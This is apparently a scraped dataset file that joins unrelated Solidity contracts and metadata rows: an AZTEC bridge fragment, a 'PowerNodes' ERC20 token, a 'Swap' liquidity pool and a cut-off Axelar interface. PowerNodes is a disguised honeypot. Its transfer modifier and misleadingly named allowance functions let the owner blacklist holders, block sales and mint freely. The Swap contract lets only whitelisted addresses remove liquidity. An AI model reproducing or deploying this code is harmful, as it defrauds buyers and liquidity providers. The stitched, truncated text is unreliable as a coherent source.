function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
}
contract AZTECERC20Bridge {
bytes32[4] setupPubKey;
bytes32 domainHash;
uint private constant groupModulusBoundary = 10944121435919637611123202872628637544274182200208017171849102093287904247808;
uint private constant groupModulus = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint public scalingFactor;
mapping(bytes32 => address) public noteRegistry;
ERC20Interface token;
event Created(bytes32 domainHash, address contractAddress);
event ConfidentialTransfer();
constructor(bytes32[4] _setupPubKey, address _token, uint256 _scalingFactor, uint256 _chainId) public {
setupPubKey = _setupPubKey;
token = ERC20Interface(_token);
scalingFactor = _scalingFactor;
bytes32 _domainHash;
assembly {
let m := mload(0x40)
mstore(m, 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f) // "EIP712Domain(string name, string version, uint256 chainId, address verifyingContract)"
mstore(add(m, 0x20), 0x60d177492a60de7c666b3e3d468f14d59def1d4b022d08b6adf554d88da60d63) // name = "AZTECERC20BRIDGE_DOMAIN"
mstore(add(m, 0x40), 0x28a43689b8932fb9695c28766648ed3d943ff8a6406f8f593738feed70039290) // version = "0.1.1"
mstore(add(m, 0x60), _chainId) // chain id
mstore(add(m, 0x80), address) // verifying contract
_domainHash := keccak256(m, 0xa0)
}
domainHash = _domainHash;
emit Created(_domainHash, this);
}
function validateInputNote(bytes32[6] note, bytes32[3] signature, uint challenge, bytes32 domainHashT) internal {
bytes32 noteHash;
bytes32 signatureMessage;
assembly {
let m := mload(0x40)
mstore(m, mload(add(note, 0x40)))
mstore(add(m, 0x20), mload(add(note, 0x60)))
mstore(add(m, 0x40), mload(add(note, 0x80)))
mstore(add(m, 0x60), mload(add(note, 0xa0)))
noteHash := keccak256(m, 0x80)
mstore(m, 0x0f1ea84c0ceb3ad2f38123d94a164612e1a0c14a694dc5bfa16bc86ea1f3eabd) // keccak256 hash of "AZTEC_NOTE_SIGNATURE(bytes32[4] note,uint256 challenge,address sender)"
mstore(add(m, 0x20), noteHash)
mstore(add(m, 0x40), challenge)
mstore(add(m, 0x60), caller)
mstore(add(m, 0x40), keccak256(m, 0x80))
mstore(add(m, 0x20), domainHashT)
mstore(m, 0x1901)
signatureMessage := keccak256(add(m, 0x1e), 0x42)
}
address owner = ecrecover(signatureMessage, uint8(signature[0]), signature[1], signature[2]);
require(owner != address(0), "signature invalid");
require(noteRegistry[noteHash] == owner, "expected input note to exist in registry");
noteRegistry[noteHash] = 0;
}
function validateOutputNote(bytes32[6] note, address owner) internal {
bytes32 noteHash; // Construct a keccak256 hash of the note coordinates.
assembly {
let m := mload(0x40)
mstore(m, mload(add(note, 0x40)))
mstore(add(m, 0x20), mload(add(note, 0x60)))
mstore(add(m, 0x40), mload(add(note, 0x80)))
mstore(add(m, 0x60), mload(add(note, 0xa0)))
noteHash := keccak256(m, 0x80)
}
require(owner != address(0), "owner must be valid Ethereum address");
require(noteRegistry[noteHash] == 0, "expected output note to not exist in registry");
noteRegistry[noteHash] = owner;
}
function confidentialTransfer(bytes32[6][] notes, uint256 m, uint256 challenge, bytes32[3][] inputSignatures, address[] outputOwners, bytes) external {
require(inputSignatures.length == m, "input signature length invalid");
require(inputSignatures.length + outputOwners.length == notes.length, "array length mismatch");
// validate AZTEC zero-knowledge proof
require(AZTECInterface.validateJoinSplit(notes, m, challenge, setupPubKey), "proof not valid!");
// extract variable kPublic from proof
uint256 kPublic = uint(notes[notes.length - 1][0]);
require(kPublic < groupModulus, "invalid value of kPublic");
// iterate over the notes array and validate each input/output note
for (uint256 i = 0; i < notes.length; i++) {
// if i < m this is an input note
if (i < m) {
// pass domainHash in as a function parameter to prevent multiple sloads
// this will remove the input notes from noteRegistry
validateInputNote(notes[i], inputSignatures[i], challenge, domainHash);
} else {
// if i >= m this is an output note
// validate that output notes, attached to the specified owners do not exist in noteRegistry.
// if all checks pass, add notes into note registry
validateOutputNote(notes[i], outputOwners[i - m]);
}
}
if (kPublic > 0) {
if (kPublic < groupModulusBoundary) {
// call token.transfer to send relevent tokens
require(token.transfer(msg.sender, kPublic * scalingFactor), "token transfer to user failed!");
} else {
// only proceed if the required transferFrom call from msg.sender to this contract succeeds
require(token.transferFrom(msg.sender, this, (groupModulus - kPublic) * scalingFactor), "token transfer from user failed!");
}
}
// emit an event to mark this transaction. Can recover notes + metadata from input data
emit ConfidentialTransfer();
}
}
| 141,549 | 10,517 |
e121344bc3465ff24a3dac899265722d06a2dac75f319663435ab34d3e1e43c5
| 30,020 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0f/0f1d5A48faF43Ae34AD94cFc863233249C3e5e66_PowerNodes.sol
| 3,393 | 12,615 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PowerNodes is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 82,222 | 10,518 |
ce678e8fb032fdf219d4bcad4663604f2107f2809412c954a8dca643b219c6d8
| 31,341 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a5/a5695ae070106bc9c335c4c500f561b196b8cd1a_Swap.sol
| 5,453 | 19,687 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'no whitelist');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0),"2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"3");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"4");
require(owner != address(0),"5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value) external view returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract Swap is BEP20, Whitelist {
string public constant name = "Solisium Liquidity Token";
string public constant symbol = "SLSL";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping (address => bool) internal _providers;
mapping (address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer, uint256 indexed matic_amount, uint256 indexed token_amount);
event onmaticPurchase(address indexed buyer, uint256 indexed token_amount, uint256 indexed matic_amount);
event onAddLiquidity(address indexed provider, uint256 indexed matic_amount, uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider, uint256 indexed matic_amount, uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor (address token_addr) Ownable() public {
token = IToken(token_addr);
lastBalance_= now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable {
maticToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function maticToTokenInput(uint256 matic_sold, uint256 min_tokens, address buyer, address recipient) private returns (uint256) {
require(matic_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(matic_sold, address(this).balance.sub(matic_sold), token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, matic_sold, tokens_bought);
emit onContractBalance(maticBalance());
trackGlobalStats();
return tokens_bought;
}
function maticToTokenSwapInput(uint256 min_tokens) public payable isNotPaused returns (uint256) {
return maticToTokenInput(msg.value, min_tokens,msg.sender, msg.sender);
}
function maticToTokenOutput(uint256 tokens_bought, uint256 max_matic, address buyer, address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_matic > 0,"tokens_bought > 0 && max_matic >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_matic), token_reserve);
// Throws if matic_sold > max_matic
uint256 matic_refund = max_matic.sub(matic_sold);
if (matic_refund > 0) {
payable(buyer).transfer(matic_refund);
}
require(token.transfer(recipient, tokens_bought),"error");
emit onTokenPurchase(buyer, matic_sold, tokens_bought);
trackGlobalStats();
return matic_sold;
}
function maticToTokenSwapOutput(uint256 tokens_bought) public payable isNotPaused returns (uint256) {
return maticToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenTomaticInput(uint256 tokens_sold, uint256 min_matic, address buyer, address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_matic > 0,"tokens_sold > 0 && min_matic > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
uint256 matic_bought = getInputPrice(realized_sold, token_reserve, address(this).balance);
require(matic_bought >= min_matic,"matic_bought >= min_matic");
payable(recipient).transfer(matic_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transforfrom error");
emit onmaticPurchase(buyer, tokens_sold, matic_bought);
trackGlobalStats();
return matic_bought;
}
function tokenTomaticSwapInput(uint256 tokens_sold, uint256 min_matic) public isNotPaused returns (uint256) {
return tokenTomaticInput(tokens_sold, min_matic, msg.sender, msg.sender);
}
function tokenTomaticOutput(uint256 matic_bought, uint256 max_tokens, address buyer, address recipient) private returns (uint256) {
require(matic_bought > 0,"matic_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(matic_bought, token_reserve, address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, 'max tokens exceeded');
payable(recipient).transfer(matic_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transorfroom error");
emit onmaticPurchase(buyer, tokens_sold, matic_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenTomaticSwapOutput(uint256 matic_bought, uint256 max_tokens) public isNotPaused returns (uint256) {
return tokenTomaticOutput(matic_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getmaticToTokenOutputPrice(1e18);
uint256 balance = maticBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getmaticToTokenInputPrice(uint256 matic_sold) public view returns (uint256) {
require(matic_sold > 0,"matic_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(matic_sold, address(this).balance, token_reserve);
}
function getmaticToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) {
require(tokens_bought > 0,"tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve);
return matic_sold;
}
function getTokenTomaticInputPrice(uint256 tokens_sold) public view returns (uint256) {
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance);
return matic_bought;
}
function getTokenTomaticOutputPrice(uint256 matic_bought) public view returns (uint256) {
require(matic_bought > 0,"matic_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(matic_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function maticBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getmaticToLiquidityInputPrice(uint256 matic_sold) public view returns (uint256){
require(matic_sold > 0,"matic_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 matic_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (matic_sold.mul(token_reserve) / matic_reserve).add(1);
uint256 liquidity_minted = matic_sold.mul(total_liquidity) / matic_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint amount) public view returns (uint256, uint256){
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0,"total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (matic_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) isNotPaused public payable returns (uint256) {
require(max_tokens > 0 && msg.value > 0, "Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false){
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0,"min_liquidity > 0,,,,4");
uint256 matic_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / matic_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) / matic_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount, uint256 min_matic, uint256 min_tokens) onlyWhitelisted public returns (uint256, uint256) {
require(amount > 0 && min_matic > 0 && min_tokens > 0,"amount > 0 && min_matic > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(matic_amount >= min_matic && token_amount >= min_tokens,"(matic_amount >= min_matic && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(matic_amount);
require(token.transfer(msg.sender, token_amount),"transfer error");
emit onRemoveLiquidity(msg.sender, matic_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (matic_amount, token_amount);
}
}
| 317,469 | 10,519 |
f66fc87783cd770db226333f996377b45315a499471c1a3abcf632d7ca243311
| 23,223 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/94/94383a1feb466064a510f549f4c86b78116f4907_AxelarDepositService.sol
| 4,532 | 19,076 |
// Sources flattened with hardhat v2.9.9 https://hardhat.org
// File contracts/interfaces/IUpgradable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
// General interface for upgradable contracts
interface IUpgradable {
error NotOwner();
error InvalidOwner();
error InvalidCodeHash();
error InvalidImplementation();
error SetupFailed();
error NotProxy();
event Upgraded(address indexed newImplementation);
event OwnershipTransferred(address indexed newOwner);
// Get current owner
function owner() external view returns (address);
function contractId() external view returns (bytes32);
function upgrade(address newImplementation,
bytes32 newImplementationCodeHash,
bytes calldata params) external;
function setup(bytes calldata data) external;
}
// File contracts/interfaces/IAxelarDepositService.sol
// This should be owned by the microservice that is paying for gas.
interface IAxelarDepositService is IUpgradable {
error InvalidAddress();
error InvalidSymbol();
error NothingDeposited();
error ApproveFailed();
error WrapFailed();
error UnwrapFailed();
error TokenSendFailed();
function depositAddressForSendToken(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress,
string calldata tokenSymbol) external view returns (address);
function depositAddressForSendNative(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress) external view returns (address);
